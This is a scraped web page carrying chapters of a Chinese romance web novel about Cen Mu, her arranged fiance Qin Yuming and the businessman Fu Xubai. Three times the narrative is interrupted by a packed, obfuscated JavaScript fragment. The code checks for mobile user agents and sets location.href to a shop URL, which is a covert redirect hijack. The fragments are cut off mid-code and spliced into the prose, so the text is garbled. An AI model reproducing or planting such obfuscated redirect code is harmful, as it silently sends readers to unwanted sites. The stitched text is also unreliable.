RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664658|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是认真的对抗着碟子里面的排骨。 看样子,她的确爱吃排骨。 每过一阵,骨碟上就零零散散的放了五六块骨头,都是她的杰作。 这一桌人,属她吃的最认真。 她没什么包袱,跟那种爱保持姿态的人士不同。 但纵使是饿了,她吃饭的样子也很端庄,大抵是从小培养的习惯,吃饭模样好,怎样都不露怯。 吃饭过程还算愉快,等到晚饭快要结束的时候,岑华让傅叙白再多留一阵。 说完,他上楼去拿提前准备好的东西。 岑老爷子上了岁数,酒量不好,饭桌上不过喝了两杯,就头晕的准备回屋睡觉。 沈香薇一边照顾老爷子,一边嘱咐岑慕,“你先招待傅先生。” 岑慕乖巧点头,“好。” 她起身,把傅叙白带到茶庭那边。 松月间,夏风起。 茶亭周围清凉,卓侧点着一盏明亮小夜灯,气氛正悠然。 岑慕学过一些茶道,虽不算特别精通,但招待客人也勉强糊弄过关。 她给傅叙白泡了杯茶,轻声道: “他们应该很快下来了,你稍等。” 傅叙白端坐在她对面,认真的品着她泡好的茶。 他指尖摩挲在手中的紫砂茶杯,动作带着漫不经心的散漫。 这种时候,他褪去几分客套,视线似有若无的放在岑慕身上,“你跟秦玉明关系不好?” 刚才沈香薇提到秦玉明的时候,就能看到岑慕脸色不对。 见他这么问,岑慕扬了扬眉,“你觉得我跟他相配?” 一听这话,傅叙白便了然。 他轻笑一声,“不算太相配。” 他这么说,是故意顺着岑慕说的,无非是闲聊,也省的招惹年纪小的小姑娘不开心。 岑慕:“你看,旁人的眼光果然是雪亮的。” 傅叙白放下茶杯,声音不急不慌。 “算是蒹葭倚玉树。” 岑慕:“谁是蒹葭?” 傅叙白:“他。” 岑慕:“谁是玉树?” 傅叙白:“你。” 蒹葭倚玉树,一美一丑,这男人倒是会说话的。 岑慕略微得意,唇角悄然翘起。 “你那天应该也看出来了,秦玉明心思根本不在我身上,所以我们两个不可能结婚的。” 傅叙白没想到她会跟自己说这么多,眉峰轻挑,没接话,就这么听着她在眼前碎碎念。 刚才沈香薇还一通乱夸自己的女儿,说她乖巧懂事,从小就不让人操心。 可一转眼,岑慕就在他面前表现出离经叛道的小劲头。 岑慕问他,知不知道秦玉明私下有什么花边新闻。 傅叙白自然不可能多说,淡淡回应一句:“不太清楚。” 他这回应也在岑慕意料之中。 她单手托腮,转头往茶庭外面看去,视线落在平稳的湖面,夜色降临,碎星点缀在其中。 大概是因为刚才他没正面回答她的问题,岑慕便没了继续聊下去的兴趣,只是看着湖面发呆。 傅叙白稍微来了些兴趣,“你既然不愿意跟他在一起,怎么不直接跟家里面人说?” 岑慕浅声道:“做事情要深思熟虑,我还没完全想好后果,不能太果断行事。” 好歹是大户人家的女儿,这些头脑还是要有的。 傅叙白垂下睫毛,清淡看她,“那你之后有什么打算。” 男人骨节分明的修长手掌拿起紫砂茶壶,又为自己添了一杯茶,动作清雅稳重。 岑慕目前也是破罐子破摔,她知道自己肩负长辈们交付的重任,自然不可能逃开结婚命运,只不过要嫁给谁,倒是可以挑选的。 她就不信,那么大一个江城,找不出比秦玉明还要优秀的男人。 于是,岑慕转过头来,认真道: “我要找个比他更好的男人。” 傅叙白倒茶的动作微顿。 岑慕一本正经道:“傅先生有没有什么合适人选,可以给我介绍一下。” 他被她弄得分心,不小心洒出来一些茶水。 傅叙白不慌不忙的把茶壶放回原处,精致眉眼直勾勾看过来,唇角微微上扬,“我身边倒的确有几个合适人选,就是不知道岑小姐能不能看得上。” 4. 无意穿堂风 岑慕也没想到傅叙白还真的能应了自己。 她视线往他那边看去,唇微张,正想说些什么,就听到楼梯口那边传来的脚步声。 岑华匆匆走下楼,把手中的字画交给傅叙白。 “傅老板,你看看这幅画你喜欢不喜欢,这可是我那次在拍卖会上花重金拍下来的,听说你有收集字画的爱好,正好一起欣赏下。” 岑华手中的字画,看起来有些老旧,但却是价值昂贵的收藏品。 求人办事,总是要送些礼物表示下心意的。 傅叙白本无意收他礼物,但见岑华执意要送,为了不拂他面子,也就收下了。 见傅叙白要走,岑慕赶忙起身。 岑华刚才下楼的时候,看二人在茶亭这边闲聊的气氛还算是不错,便回头对岑慕说道: “岑慕,你送送傅老板。” 岑慕听话地点了下头,“傅先生,我送你。” 傅叙白吃完饭,喝了些热茶,胸膛处微微有热气上升,他单手解开衬衫领口最上方那颗扣子,低头睨她一眼,唇角微翘,“不用那么客气,你留步就好,至于刚才我们谈论的话题,你可以考虑下。” 他看起来倒是没什么架子,也不至于在小女孩儿身上耍威风立规矩,说完这话后,他跟岑华随意闲聊几句,便转身出门。 岑华听着傅叙白临走之前说的那话,好奇问岑慕,“你们两个刚才聊什么了?” 岑慕微微抿唇,“没什么……就闲聊。” 傅叙白刚才说有几个合适的人选要介绍给她,虽然表面上是正经清淡的,可岑慕还没傻到忽略了他眸中浅淡的笑意。 她估摸着,这人肯定是故意逗她,她才不能上他的当,省的以后落人话柄。 不过上次许给他的那礼物,岑慕这次才是真的上心。 傅叙白既然都开口了,她就没有再拖延的道理了。 之后几天,岑慕就专门抽出时间来,在家里面绘制成品。 手工制作油纸伞,需要等待半月左右。 选用的毛竹皆是含糖量最少的一批,她挽上长发,在房间内认真的安装伞骨。 待翰花环节,岑慕坐在屋内,手持画笔略微思索。 傅叙白这样的男人,给他送的礼物也不能太俗气了。 这绘制的图案,最好独一无二才好。 她冥思苦想许久,终于耗费两天时间,在伞上绘制了青山祈雪图,最后又反复地刷了几遍桐油以求防水。 至此,送给他的那礼物,才制作完毕。 岑慕走出自己的画房,脱下身上的围裙,左右摇晃了下酸涩的脖颈,看了眼手机时间,此刻正好是晚饭时间。 她正准备下楼,发现手机屏幕亮了起来。 秦玉明给她打了电话。 岑慕歪头,把手机夹在脖颈侧边,然后单手把围裙扔到一侧,心不在焉的问道: “找我什么事?” 秦玉明在电话里面的声音听起来跟往日没什么不同,温柔细致地询问她: “岑慕,今晚有空吗?” 岑慕实话实说:“有。” 秦玉明:“我们有一段时间没出来吃饭了,今晚还是去你最爱吃的那家川菜怎么样?” 岑慕不知道秦玉明打的什么算盘,好端端地约她出去吃饭,但她此刻的确是饿了,秦玉明要是打算请客,她也不拒绝。 “好,那你等我会儿,我一会儿就到。” 一个小时后。 二人在经常光顾的川菜馆见面。 秦玉明知道她喜欢吃什么,提前就点好了一桌子菜。 岑慕推门进去,看见秦玉明正背对着她坐在桌子一角,旁边还坐着个卷发女孩儿。 秦月灵穿着一条粉色蝴蝶结无袖A字裙,大大咧咧地坐在椅子上,还不忘抱怨道: “哥,你这个未婚妻,未免也不太讲究时间效率了,我们都在这等待她多久了,她是不是大小姐当惯了,平日在你面前都这么摆谱。” 大概是岑慕开门动作过轻,屋内的二人并没有注意到她的动静。 秦玉明是谨言慎行的个性,听秦月灵这么说,只是低声呵斥:“胡说什么。” 秦月灵轻哼一声,显然是有些不太服气。 后来,秦玉明余光瞥到岑慕进屋。 他起身,回头看向岑慕,温声道:“来了。” 岑慕点头,然后往屋内走去,“路上有些堵车,所以来晚了些。” 她手掌搁置到秦月灵的椅背上,挑了下眉,“希望有些人别太介意。” 秦月灵显然意识到岑慕听到自己方才说的那番话了,她面色讪讪,略显尴尬。 好在秦玉明及时开口,缓解了她的不自在。 “临出门的时候,正好遇到月灵到家,她出去旅游了一趟,家里面没人,就带着她一起出来吃了,你不会介意吧。” 岑慕自然不会介意。 她拉开椅子,坐在兄妹二人对面,“没事,人多热闹,我不介意。” 而且,她也早就知道秦玉明这个亲妹妹的个性。 泼辣,嚣张,恃宠而骄 。 整个江城,她秦月灵的确还没怕过谁,跟她哥的性格截然相反。 不过秦月灵这份底气,也就是被家里面人刻意娇惯出来的。 秦玉明也宠着她,只要她不跟自己过分争夺家产,他一向都是依着自己这个妹妹的。 秦月灵越是骄纵贪玩,反而越是合他心意。 岑慕跟她也算是从小认识,只不过二人脾气不投,一直都是互相看不太顺眼的关系。 秦月灵虽然不喜欢她,但碍于她是自己亲哥的未婚妻,也是未来嫂子,也不敢在她面前多造次。 毕竟,她是岑家的人,又是家里面长辈心尖上喜欢的,她哪敢多说话。 秦月灵没多说话,只是端起面前的橙汁喝了口润润嗓子,眼神飘忽着不往她那边看。 面前忽然多了一只修长手掌。 秦玉明替她倒了杯果汁,“点的都是你喜欢吃的菜,吃吧。” 岑慕也没跟他客气,拿起筷子随便夹了些自己喜欢的,随口问道,“今天该不会真的是单纯的请我吃饭吧?” 秦玉明表情微怔,然后回她:“的确是想请你吃饭的,不用把我想的太复杂。” 岑慕耸肩,没反驳他话语。 看着二人略带生疏的互动,秦月灵清了下嗓子,眸子在二人身上转了圈,“哥,你们两个准备什么时候结婚啊?” 岑慕本来安静吃饭,结果忽然被她这句话呛到。 她咳嗽的动静引起二人注意,她喝了口橙汁,示意兄妹二人不必介意她这边的小插曲。 秦玉明往盘子里面夹了块肉,不冷不热道: “我们两个都不着急,你着什么急?” 秦月灵:“反正都是板上钉钉的事情了,早晚都要结婚,还不如早一点。” 秦玉明:“怎么,你有想法?” 秦月灵:“你总不能在我后面结婚吧,你做哥哥的,还是要加快进度比较好。” “你跟谁结婚?”秦玉明不解地转头看她。 “这个嘛……”秦月灵抿唇,“结婚对象还没有,不过不妨碍我有喜欢的人。” “谁?” “那个人你也认识的。”一提到自己喜欢的人,纵使是秦月灵,面上也出现几分娇羞色彩。 她停顿几秒,然后脱口而出三个字。 “傅叙白。” 说完名字之后,空气短暂的凝结一阵。 秦玉明没说话,再次拾起筷子。 秦月灵对他这反应不满意,噘嘴道:“你这是什么意思啊?” 秦玉明:“你喜欢的人是他?” 秦月灵:“对。” 秦玉明:“那我劝你趁早收心。” 秦月灵不服气地咬了下牙,“凭什么。” “江城喜欢他的女孩儿那么多,你见他对谁动过心,而且像他这种位置的人……能有几分真心,他若是想结婚,也是要找对自己事业家庭有帮助的对象,你这个性格要是嫁给他,免不了吃亏,我还以为很多事情你都能看懂,没想到你还跟小孩子一样。”秦玉明话说的直接且难听,就差把她配不上傅叙白几个字直接说出来了。 秦月灵心高气傲,自然听不得这话。 “别人喜欢他,是别人的事情,我跟别人不一样。” “你跟别人有什么不一样?”秦玉明这时候倒是笑了,像是在笑自己妹妹太傻太天真。 “我……”秦月灵指尖掐在掌心处,觉不出疼,反倒脸蛋有点火辣辣的,她心里面不大高兴,觉得秦玉明此番话说出来让她在岑慕面前有些丢了面子,她犹豫几下,最后使了性子,直接对秦玉明摆了脸色,“反正喜欢谁都是我的自由,用不着你来管。” 兄妹二人说话说的不投机,包厢内气氛也跟着冷下来。 岑慕打量一眼二人,心里面也开始嘀咕。 看来这秦月灵是挺喜欢傅叙白的。 旁人只是随口说了几句,她就不开心了。 她那日的猜想果然没错,那男人的确是个祸水。 年纪轻轻就成了傅家的掌权人,长相俊美,做事说话又滴水不漏,在外人眼中,的确是一块难得的肥肉。 江城的那些世家名媛千金小姐喜欢他也是正常的事情,今天她就见识了一回,还不知道外面是什么动静,但不用深想就知道肯定很热闹。 好歹包厢里面还有岑慕在,秦玉明肯定不会跟自己亲妹妹一般置气,他往岑慕那边看去,轻声道: “你别介意,月灵就是这个脾气。” “我知道啊。”岑慕弯了弯唇,“她年纪小,脾气大也是正常的。” 此话不说还好,一说出来,秦月灵又有了意见。 若是按月份来算,她还比岑慕大上两个月,结果她竟然敢说自己年纪小。 从小到大,两家人聚在一起,岑慕就没把她放在眼里过。 见秦月灵吃了瘪,岑慕压抑住唇角笑意,吃饭的胃口也好了不少。 吃饭吃到一半,秦玉明放在桌上的手机忽然响了起来。 他先是低头看了眼,然后起身对岑慕说道: “抱歉,我出去接个电话。” 他去了门外接电话,屋内就只剩下秦月灵和岑慕二人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664659|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦月灵百无聊赖的戳着盘子里面的鱼头,懒洋洋开腔,“我看你也不是很喜欢我哥嘛。” 岑慕拿起纸巾擦了擦唇角,“为什么这么说?” 秦月灵又不傻。 岑慕进来之后,径直走到桌子另一头,巴不得离秦玉明远远的,再加上平时二人的相处,秦月灵就觉得他们两个人感情应该很一般。 不过她觉得这不是什么大不了的事情,像他们这种二代继承人的身份,为了利益而联姻的大有人在,也不算稀罕事儿,就算他们两个没有感情,也不耽误结婚生孩子。 虽然秦月灵不太喜欢岑慕,若岑慕真成了自己嫂子,也是对家族有益无害的事情。 秦月灵:“我哥平时忙,肯定没什么时间哄你开心,我下个月要飞去巴黎看展,你要不要跟我一起?” 岑慕颇感意外。 这秦月灵还知道替她亲哥哄未婚妻,看来果然没有永远的敌人,在利益面前,一切小恩怨都能被暂时放下。 岑慕挺礼貌地拒绝了她,“不用了,我下个月还挺忙的,你自己去玩吧。” 说完,她站起身想往门口那边走去,“我去趟卫生间。” 秦月灵没在意,“去吧。” 岑慕走到门口,发现包厢的门是虚掩着的,所以正好能听到秦玉明打电话的声音。 此刻打电话的秦玉明,跟平时很不同,说话轻声细语,像是在耐心地哄着电话那头的人,宠溺气息满满,完全是沉溺在甜蜜气息中的男人。 岑慕不用想,就知道他跟谁在打电话。 不过这秦玉明未免也光明正大了,在她眼皮底下就敢这么调情,而且还不关门。 岑慕转念一想,就明白了。 估计这位也是故意让她听见的。 没准把她激怒了,这解除婚约的话就能从她口中说出来。 岑慕不上他的当。 秦玉明越是想快刀斩乱麻,她越是要好好逗他玩。 反正她没有喜欢的人,也不着急谈恋爱,怎么能让秦玉明那么痛快的甩锅给她。 包厢的门被拉开,发出“吱”的一声。 秦玉明微微侧身,回头看她。 岑慕勾唇,轻声道: “我去趟卫生间。” 秦玉明点头,给她让开一条路。 岑慕去卫生间补了妆,用了不到十分钟,就回来了。 等她回来,发现秦玉明已经离开这边。 秦月灵拿包往她这走过来,解释道: “我哥接了个电话,说是有事儿,要提前离开,一会儿我送你。” 岑慕:“不用,我自己开车来的。” 秦月灵穿着高跟鞋,比她高出一些,她低头睨了睨岑慕,发现她眼眸下方有些浅淡的黑眼圈,大惊小怪地说道: “你最近休息不好吗?感觉皮肤状态好疲惫。” 岑慕倒是不至于疲惫,就是有时候工作起来就很容易专注,熬夜也是常有的事情。 秦月灵故意找茬,她懒得在意,睫毛轻翻,睨她一眼,“是吗。” 纵使岑慕这几天休息不好,她皮肤依旧透白润亮,眉眼低垂瞬间,卷翘的睫毛安静蛰伏着,巴掌大的脸颊透露着天生丽质的清透劲头。 秦月灵找茬无果,见岑慕不在意,欲言又止好几次,最后视线落在岑慕修长白皙的脖颈上,忽然就泄了气。 从小到大,她最不愿意承认的一件事情便是,岑慕是真的漂亮,无论是浓妆还是不施粉黛,她都是江城独一份的千金大小姐。 论长相,论气度,论学识本领,她都比不过这个岑慕。 秦月灵恨恨咬牙,挎上手中的包,对她说道: “走吧。” 二人并肩往长廊那头走去。 今晚这餐厅热闹,老板是江城有名的好人缘,平时就有不少朋友过来捧场聚餐,味道和服务都是一流的好。 隔壁两旁的包厢有些吵,但不耽误秦月灵在耳边碎碎念。 “你确定下个月不跟我一起看展?反正你一个人在家也是无聊,多个人作伴肯定热闹,别跟我说你是真的忙,你又不用上班,整天除了做做伞就是喝下午茶,这肯定是你搪塞我的借口……” 她正聒噪之际,旁边包厢忽然打开门来。 叶弘帮身后那人打开门,下意识地说道: “一会儿我要是喝醉了,你可要负责送我回家。” 身后那人没回应他,只是眼睫轻垂,漫不经心的点燃了唇间的烟。 男人袖口半卷,手背青筋若隐若现,修长指尖闲散地拨弄着手中的打火机。 岑慕听见动静,无意间回头。 瞥过去的第一眼,便看到了他手中的打火机。 经典Dupont搭配白色贝母石,衬托着男人手掌修长骨感。 包厢门大敞四开,穿堂风无意吹过指尖青蓝色火焰。 火焰微微晃动,氤氲着男人眼底墨意。 “咔嚓”一声,白贝打火机再次被利落合上。 他抬眸瞬间,正好对上岑慕视线。 不消片刻。 他慵懒清淡地开口: “又见面了,岑小姐。” 5. 快活似神仙 秦月灵没想到在这还能见到傅叙白,这对于她来说显然是个意外之喜。 她上前一步,径直走到傅叙白面前,红唇微弯,打着招呼,“你今天也在这里吃饭?” 按理说,傅叙白比她要大上几岁,秦月灵说话理当要更恭敬几分,可她性格跳脱,加上自来熟属性,不愿意跟傅叙白太过疏远,所以每次见面都格外熟络。 男人轻微歪头,呼出唇间奶白色的烟雾气,淡淡应道: “嗯,跟朋友出来吃饭。” 叶弘转头看着面前两个女孩儿,笑呵呵的对傅叙白说道:“这二位,你都认识?” 傅叙白还没来得及应声,秦月灵就眸子带光的更凑近一步,“听说傅航快要过生日了。” 傅航是傅叙白大哥的儿子,算是他的亲侄子,跟秦月灵等人年纪差不多大。 傅叙白:“嗯。” 秦月灵:“他提前就给了通知,说是让去家里面过生日宴,你那天在不在家?” 秦月灵表现的明显,明眼人都能看出来她是什么想法。 叶弘倚靠在门框边上,要笑不笑的听着二人说话。 他旁边那姑娘,跟他差不多是一样的角色,都是旁听的,而且那姑娘杵在边上,格外安静。 今日在这边偶遇秦月灵,也是傅叙白没想到的事情。 一般能遇到秦月灵的场合,傅叙白都尽量不去。 这个年纪的小女孩儿,要是认真起来,还是挺缠人的。 傅叙白不喜欢她,不想给她机会,也不想让她凭空有什么希望。 可偏偏秦月灵是个反应迟钝的,纵使傅叙白对她反应平淡,也架不住她一腔热情。 所以听秦月灵这么说,傅叙白也只是薄唇轻启,回她: “不在,那天要去外地开会。” 话音落下,秦月灵面上难掩失落,“好吧,本来以为你也在的话,那样可能会热闹一点。” 不过转念一想,若是傅叙白那天在家,也肯定不会跟他们这帮小辈玩在一起。 而且,听说傅航跟傅叙白的关系并不是特别好。 这二人仅是有着血缘关系,私下斗争的厉害,有些事情还被江城人悄悄讨论许久。 傅航虽然是家中大哥的长子,可是没什么本事,从国外留学回来之后,心比天高,妄图把家中大半产业都划到自己手底下,可惜他没那个手段本事,父亲也是畏畏缩缩,完全敌不过傅叙白的本领,所以一直都在傅叙白的眼色下过日子。 傅航心里面一直不服气,整天盯着自己的那个小公司,经济效益也是一天比一天差。 傅叙白视线淡淡落在旁边那人身上。 她漆黑瞳仁一眨不眨的往这边看来,对于他们的谈话内容听的倒也认真。 “我那天不在,你们随便玩。”说完,他指尖随意地弹动了下烟灰,顺便偏头问旁边的岑慕,“你们今天一起出来吃饭?” 岑慕点头,“对,刚吃完,正准备要走。” 秦月灵:“本来我哥也在的,但是他临时有事,就先走了。” 傅叙白唇角微弯,“算是约会?” 秦月灵:“对,只不过多了一个我来当做电灯泡,如果我不在,今天送她回家的人,应该就是我哥了。” 岑慕清了下嗓子,“你应该还要跟朋友继续忙,我们就先不打扰了。” 傅叙白:“司机就在外面,用不用送你们?” “不用。”岑慕回答的快速,“我自己有车。” 傅叙白浅淡地应了声,手掌搭在门板上,微微侧身,对旁边的叶弘说道:“不是要去卫生间?” 叶弘单手握拳,掩在唇前咳嗽了一声,“对,我跟你一起去。” 待二人离开房间门口,再回头往刚才那地方看,那两个姑娘都已经离开了。 叶弘这才开口调侃,“秦姑娘对你还真是痴心一片啊。” 傅叙白顿在原地,把烟头捻灭在垃圾桶里面,“你刚才看戏看够了?” 叶弘:“啧,怎么能这么说话,我可是你最好的兄弟,而且江城喜欢你的女孩儿那么多,这也不是什么稀罕事儿,不过我可提前给你打个预防针,这个秦月灵可不是什么小白兔,听说性格泼辣,你小心被她缠上甩也甩不掉。” 傅叙白:“还是先关心下自己,听说你过段时间要去相亲了。” 叶弘:“相亲这种事情没什么大不了,反正来来去去就都是圈子里面这些人,就算是跟不喜欢的人结婚,也能逢场作戏一辈子。” “心态很好。”傅叙白轻拍他肩膀,“要是能一辈子保持,也不错。” 叶弘问他:“刚才站在旁边的那位是?” 傅叙白:“岑家的女儿,岑慕。” 叶弘对这个名字有点印象,只是之前没见过。 “原来是她。” 傅叙白:“嗯。” 叶弘:“秦玉明的未婚妻?” 傅叙白睨他。 叶弘:“还挺低调的,很少在一些场合上见到她。” 傅叙白:“她跟秦月灵性格不一样。” 叶弘:“你们二人很熟?” 傅叙白:“只是见过几次。” “是吗。”叶弘松了松领口领带,“我看你一出门就跟她打招呼,中间还往人家那看了两眼,该不会是——” 他尾音拉长,故意钓人胃口。 傅叙白眼尾上扬,知道他接下来嘴里面没什么好话,懒散开口,“是什么?” 叶弘早就听说岑家的那女儿长相清婉柔美,是江城难得一见的绝色佳人。 今日一见,果然名不虚传。 就连秦月灵这样秀气漂亮的长相,在她身旁都被衬托着落了俗。 叶弘用男人的思维很简单的去揣测了傅叙白。 “你是不是见色起意。” 傅叙白扯唇嗤笑。 “不至于。” 叶弘:“那你刚才是……” 傅叙白冷淡打断他说话,“礼貌罢了。” 说完,他语气还冰冷几分,“看来是喝的还不够醉,一会儿旁人再灌你,别来找我。” 叶弘没想到三言两语这傅叙白就生了气,赶忙说着好话告饶。 等他从卫生间里面出来之后,洗了洗手,整个人也清醒不少。 他刚才那话说的的确不太对。 岑家姑娘就算是长的再漂亮话,那也是别人的未婚妻了。 傅叙白还不至于沦落到觊觎别人的未婚妻。 他刚才说的那话,的确不合适。 所以他进了包厢之后,自罚了一杯酒,算是赔礼道歉了。 傅叙白也没跟他计较,只是让他少喝,一会儿顺便让司机送他回家。 …… …… 走到餐厅大门口。 岑慕偏头看了眼秦月灵。 由于刚才偶遇了自己的心上人,她此刻脸颊还是红扑扑的,像是少女怀春,心思是怎么也藏不住的。 她刚才提到傅航,岑慕有点印象。 这个傅航,性格有些古怪,而且跟秦月明也不是很对付,听说是年纪小的时候,两个人因为喜欢的女孩儿有过嫌隙,从那之后关系就僵硬了,江城的人都知道他们二人是面和心不和。 这次他生日,竟然还邀请了秦月灵,岑慕便好奇问道: “你真的要去他生日宴?” 秦月灵回道:“去啊,他都主动邀请了,我也不好不给面子。” 岑慕:“那你哥呢?” 秦月灵:“他应该是不去的,那天好像是有事儿,顶多就是让我带份礼物过去。” 这话还是挺合理的。 岑慕点头,“好,我知道了。” 她跟傅航不算是特别熟,所以并未把这件事情太放在心上。 但她没成想,傅航这生日宴竟然能与她扯上关系。 岑华最近跟傅叙白走动的还算是频繁,知道他侄子生日,所以特意派岑慕过去送份礼。 岑慕本来不愿意去,但岑华却道: “你们是同龄人,送份礼物没什么要紧,若是我去了,那才是给那小子面子了,你去了无非是人情往来罢了,这是做给傅叙白看的,而且你们都是一个圈子的朋友,多走动也是好事。” 岑慕也没再反抗解释,备好礼物,便准备去往傅家。 岑华之后还补充了一句,“听说秦玉明这次没去,你是他的未婚妻,也算是替他出席了。” 岑慕这次不乐意了,“我跟他又没结婚,凭什么我来代替他,我代替的是岑家,不是他秦家。” 岑华也没想到岑慕反应会这么大,怔愣几秒之后,又匆忙点头,“好好好,你说得对。” 岑慕在自己的书房内挑了份礼物,联系司机在门口等她,这才准备出门。 到了傅家,岑慕正好撞到刚从跑车上下来的秦月灵。 秦月灵停下车,挺意外的打量了眼岑慕,“我还以为你今天不会来呢。” 岑慕撇唇,“我也以为不会。” 秦月灵看出来她是被家里面派出来参加生日宴的,熟络地挽住岑慕手臂,“不过就是出来吃个饭玩玩罢了,何必苦大仇深的,开心点。” 岑慕停顿两秒,问她:“苦大仇深?” “是的。”秦月灵笑着道,“你现在满脸都写着‘我不想来’几个大字。” 岑慕:“……” 秦月灵:“话说之前那个傅航没招惹过你吧?” 岑慕:“接触不多。” 秦月灵:“我想也是,你是岑家的大小姐,他是吃了熊心豹子胆,也不敢随便欺负你。” 虽然秦玉明跟傅航关系不好,不过秦月灵倒是没在意那么多,偶尔也能跟傅航等人出来吃吃饭唱唱K,算是很字面意义上的狐朋狗友。 待走进傅家别墅,秦月灵抬头忍不住唏嘘一声。 “还真是财大气粗。” 傅家是江城名流之首,傅叙白坐到掌权人身份之后又不断扩大自己的商业版图,成为当下身价最炙手可热的未婚男士。 别墅连带巨大庭院,装修风格大气斐然,寸土寸金的透露着奢侈且纸醉金迷的味道。 秦月灵自认为她对傅叙白的喜欢不是特别庸俗的那种。 她喜欢傅叙白,不仅是因为这男人有钱帅气还多金,还因为傅叙白身上总有一股旁人没有的气质。 就连他的品味,都如此与她契合。 听说傅家这庭院别墅之前装修过一次,还是傅叙白亲手设计的,所以这装修品味才如此不俗。 这男人无论从里到外,还是从头到脚,都格外令人着迷。 若是她真的能嫁给傅叙白,肯定也会给秦家带来巨大的利益,这是喜上加喜的事情。 唯一遗憾的是,今日傅叙白不在,否则便可以与他多聊一阵了。 待二人走进大厅内,里面已经聚集了不少人。 傅航正坐在沙发上跟好友喝酒,见岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664660|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕和秦月灵走过来,唇角轻勾,“看来今日我的面子还真的是足,岑大小姐竟然也大驾光临了。” 岑慕忽略他的阴阳怪气,把手中礼物递给他,“生日快乐。” 傅航接过她手中的礼物,不甚在意的掂量了下,然后不正经地笑了笑,“谢了。” 说完,他就把礼物放到那堆礼物山上,继续跟身旁好友聊天。 岑慕不在意他如何对待自己送出去的礼物,反正送给他,就是他的了。 而且,送给他的那幅画也不是什么珍藏货,也就是噱头好听,没什么特别收藏价值,估计像傅航这种纨绔子弟也看不出来什么名堂。 岑慕暗戳戳藏了些小心机。 好东西至少要送给懂品味的人,若是送给这种狗屁不通的,才是真的浪费。 傅航终究是顾忌岑家面子的,也没有冷待了岑慕。 他把岑慕让到沙发最中间,对自己身边的几个好友介绍道: “这位就是秦玉明的未婚妻,岑慕。” 他说话的时候,指尖还夹着烟,身上混合着酒精味道,有些难闻。 岑慕鼻子微动,不太适应的挪动下身子,试图离他远上一些。 傅航没看出来端倪,笑呵呵道: “其实我一直觉得,秦玉明若是配岑大小姐,还真的有点配不上。” 岑慕没反驳这话,倒是让旁边的秦月灵听见了。 秦月灵虽然没说话,视线却是有些不爽地瞪过来。 她想着,回去定要把这番话学给哥哥听,这个傅航,仗着傅家有钱有势,说话做事未免也太不过脑子了。 而且他也没什么本事,无非是仰仗他叔叔罢了。 再怎么说,她秦家也是有头有脸的,他今天这么说她哥哥,也是在打她的脸。 可秦月灵也无奈,傅航一直都是这样纨绔不羁的性子,把谁都不放在心里面,若是真的与他置气,可能会得不偿失。 后来大厅内人也逐渐多了起来,秦月灵跟几个熟识的人聊得越来越开心,划拳喝酒玩游戏,简直乐在其中。 其实她还挺喜欢这种无忧无虑的日子,最起码不用去考虑什么家族使命,父母期待,整个人完全放松的沉浸在酒精香烟里,快活似神仙。 岑慕往她那边看过去的时候,就发现秦月灵在抽烟。 她纤细的指间夹着一根烟,正靠在沙发上吞云吐雾,迷雾一般的烟气遮掩住了她那张漂亮跋扈的脸蛋。 秦月灵有烟瘾,只不过一般都是背着她哥抽。 在她哥面前,她一向还挺乖的,不敢暴露自己有烟瘾这事儿。 她哥要是知道了,估计家里面人也都会知道,到时候她又要完蛋,所以秦月灵索性伪装到底。 但她在岑慕面前没装,因为按照她对岑慕的了解,她不觉得岑慕是那种喜欢打小报告的人。 岑慕观察着秦月灵脸上的表情,估摸着她应该是喝醉了。 她脸颊绯红,笑容也频繁,心情很不错,一看就是玩开心了。 岑慕一开始也就瞥过去几次,但后来就看不到秦月灵身影了。 她左右看了眼,都没看到秦月灵。 虽然秦月灵跟她没什么关系,但好歹也是秦玉明的妹妹,在这种场合,她总要担心下她的安全。 刚才跟她一起玩的那几个公子哥,看起来年纪都不大,心思不知正不正,但总缠在秦月灵身边,看上去不像是有好念头。 岑慕低头拿出手机,给秦月灵发着消息,问她: 【你在哪儿?】 她这时候早就从傅航那一堆人里面走出来了,改坐在一个偏僻的安静角落里面。 那边烟雾缭绕的,熏得人脑袋疼,她还不如一个人在这里消停会儿。 她这消息发过去两分钟后,手机震动起来。 岑慕低头一看,看见秦月灵给自己回了消息。 秦月灵:【我在三楼房间休息。】 岑慕:【身体不舒服?】 秦月灵:【喝多了。】 岑慕犹豫几下:【用不用我去看看你?】 半分钟后。 秦月灵:【三楼长廊尽头,左手边房间。】 岑慕放下手机,准备去三楼看看秦月灵到底醉的怎么样了。 要是秦月灵真的在这出什么事儿,她也没法跟家里面人交代。 岑慕到了三楼,径直走到长廊尽头左手边房间。 房间门没锁,虚掩着一条缝。 岑慕敲了敲门,试探性问道: “秦月灵?” 里面没人应答。 岑慕便推开了门。 门推开,里面一片漆黑。 屋内很大,窗帘紧闭的闭合着。 岑慕看不到屋内的陈设,下意识的想打开手机屏幕,照亮屋内。 